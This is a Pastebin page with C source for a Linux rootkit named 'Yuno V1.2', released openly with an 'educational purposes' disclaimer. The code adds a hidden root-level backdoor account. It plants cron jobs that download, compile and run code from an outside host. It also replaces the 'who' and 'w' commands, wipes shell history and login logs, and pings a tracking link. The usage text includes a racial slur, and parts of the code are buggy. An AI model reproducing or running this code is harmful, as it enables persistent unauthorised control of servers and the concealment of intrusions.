CatsMeowAlot

Yuno V1.2 meme - by binary

Sep 23rd, 2017
507
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.05 KB | None | 0 0
  1. /*
  2. kek gr8 memes
  3. Made By: ~B1NARY~
  4. Made Date: 8-25-17
  5. Instagram: @botkillerzondeck
  6.  
  7. Version: Yuno V1.2 Public Release.
  8.  
  9. Notice:
  10.         I take no responsibilty for how this is used.
  11.         This is only for educational purposes only.
  12.         This is unfinished.
  13.         This is only a release of a basic early version.
  14.         This is a stage 3 rootkit under development.
  15.         if you are backdooring a file with this rootkit.
  16.         You might want to comment out the DEBUG define.
  17.         do this to leave a silent install.
  18.  
  19. Public Release Builds: 
  20. [8-21-17]   Version:    Yuno V1  
  21.  
  22.             Changes:    Adds User with path set to root directory.
  23.                         Adds wget for rootkit into cron directory.
  24.                         Starts cron so the cron files are recognized.
  25.  
  26. [8-24-17]   Version:    Yuno V1.1
  27.  
  28.             Changes:    History Removal.
  29.                         User Lookup Removal.
  30.  
  31. [8-25-17]   Version:    Yuno V1.2
  32.  
  33.             Changes:    Added Ebola V3 Rootkit Remover.
  34. */
  35.  
  36. #include <stdio.h>
  37. #include <stdlib.h>
  38. #include <string.h>
  39.  
  40. #define DEBUG
  41. #define CRON_WGET
  42. #define CLEAR_SERVER_HISTORY
  43. #define REMOVE_EBOLAV3_INFECTION
  44. #define REMOVE_USER_LOOKUP
  45.  
  46. char buffer[1024] = {0};
  47.  
  48. int adduser(char *username, char *passhash) {
  49.     sprintf(buffer, "useradd -u 0 -g 0 -o -l -d /root -M -p '%s' %s;", passhash, username)  ;
  50.     system(buffer);
  51. };
  52.  
  53. #ifdef CRON_WGET
  54. int cron_wget_infection(char *username, char *passhash) {
  55.     int x;
  56.     char *cron_dirs[] = {"/etc/cron.d", "/etc/cron.daily", "/etc/cron.hourly", "/etc/cron.monthly", "/etc/cron.weekly"};
  57.  
  58.     for(x = 0; x < 5; ++x) {
  59.         /* Change this out with the wget link for where you are hosting the c file. */
  60.         sprintf(buffer, "echo 'wget --quiet http://lolbackdooredfgt.ga/.y/.CPANEL.c;gcc .CPANEL.c -o .CPAN;./.CPAN %s %s' > %s/wget.tmp", passhash, username, cron_dirs[x]);
  61.         system(buffer);
  62.         sprintf(buffer, "wget --quiet https://grabify.link/XG5ARG -O riplol; rm -rf riplol;");
  63.         system(buffer);
  64.     }
  65. };
  66. #endif
  67.  
  68. #ifdef REMOVE_USER_LOOKUP
  69. void remove_user_lookup() {
  70.     system("rm -rf /usr/bin/who");
  71.     system("touch /usr/bin/who");
  72.     system("chmod 777 /usr/bin/who");
  73.     system("rm -rf /usr/bin/w");
  74.     system("touch /usr/bin/w");
  75.     system("chmod 777 /usr/bin/w");
  76. };
  77. #endif
  78.    
  79. #ifdef CLEAR_SERVER_HISTORY
  80. void clear_server_history() {
  81.     system("history -cw;unset history");
  82.     system("rm -rf ~/.bash_history");
  83. };
  84. #endif
  85.  
  86. #ifdef REMOVE_EBOLAV3_INFECTION
  87. void remove_ebolav3_infection() {
  88.     char *Cron_directorys[] = {"/etc/cron.d/", "/etc/cron.daily/", "/etc/cron.hourly", "/etc/cron.monthly", "/etc/cron.weekly"};
  89.     char *EbolaV3Files[] = {"0", "1", "2", "3", "4", "5", "6", "7"};
  90.     int x;
  91.  
  92.     for(x = 0; x < 7; ++x) {
  93.         char Ebolav3FileRemover;
  94.         sprintf(Ebolav3FileRemover, "rm -rf %s%s", Cron_directorys[x], EbolaV3Files);
  95.         system(Ebolav3FileRemover);
  96.     }
  97.     //system("rm -rf 0  1  2  3  4  5  66768  7");
  98.     system("rm -rf /var/log/wtmp/.wtmp");
  99. };
  100. #endif
  101.  
  102. int main(int argc, char *argv[]) {
  103.     if(argc != 3) {
  104.         printf("Usage: %s <username> <passhash>\n", argv[0]);
  105.         printf("Note: Password Hash can be generated using openssl\n");
  106.         printf("Example: openssl passwd -1 nigger\n");
  107.         exit(0);
  108.     }
  109.  
  110. #ifdef DEBUG
  111.     printf("[Yuno] Rootkit Executed\n");
  112. #endif
  113.  
  114.     /* Adding backdoor user.*/
  115. #ifdef DEBUG
  116.     printf("[Yuno] Adding user with root permissions.\n");
  117. #endif
  118.     adduser(argv[1], argv[2]);
  119.  
  120. #ifdef CRON_WGET
  121.     /* Infecting crons, for reinfection of the root.*/
  122.     #ifdef DEBUG
  123.         printf("[Yuno] Creating wget payload to reinfect rootkit.\n");
  124.     #endif
  125.     cron_wget_infection(argv[1], argv[2]);
  126.  
  127.     /*Starting cron service, so that the cron files are recognized.*/
  128.     #ifdef DEBUG
  129.         printf("[Yuno] Starting Cron\n");
  130.     #endif
  131.     system("/etc/init.d/cron start");
  132. #endif
  133.  
  134. #ifdef REMOVE_USER_LOOKUP
  135.     #ifdef DEBUG
  136.         printf("[Yuno] Removing 'who', and 'w'\n");
  137.     #endif
  138.     remove_user_lookup();
  139. #endif
  140.  
  141. //
  142. #ifdef CLEAR_SERVER_HISTORY
  143.     #ifdef DEBUG
  144.         printf("[Yuno] Clearing and unsetting Server History.\n");
  145.     #endif
  146.     clear_server_history();
  147. #endif
  148.  
  149. #ifdef REMOVE_EBOLAV3_INFECTION
  150.     #ifdef DEBUG
  151.         printf("[Yuno] Removing Ebola V3 Infections.\n");
  152.     #endif
  153.     remove_ebolav3_infection();
  154. #endif
  155.  
  156.     return 0;
  157. }
Advertisement
Add Comment
Please, Sign In to add comment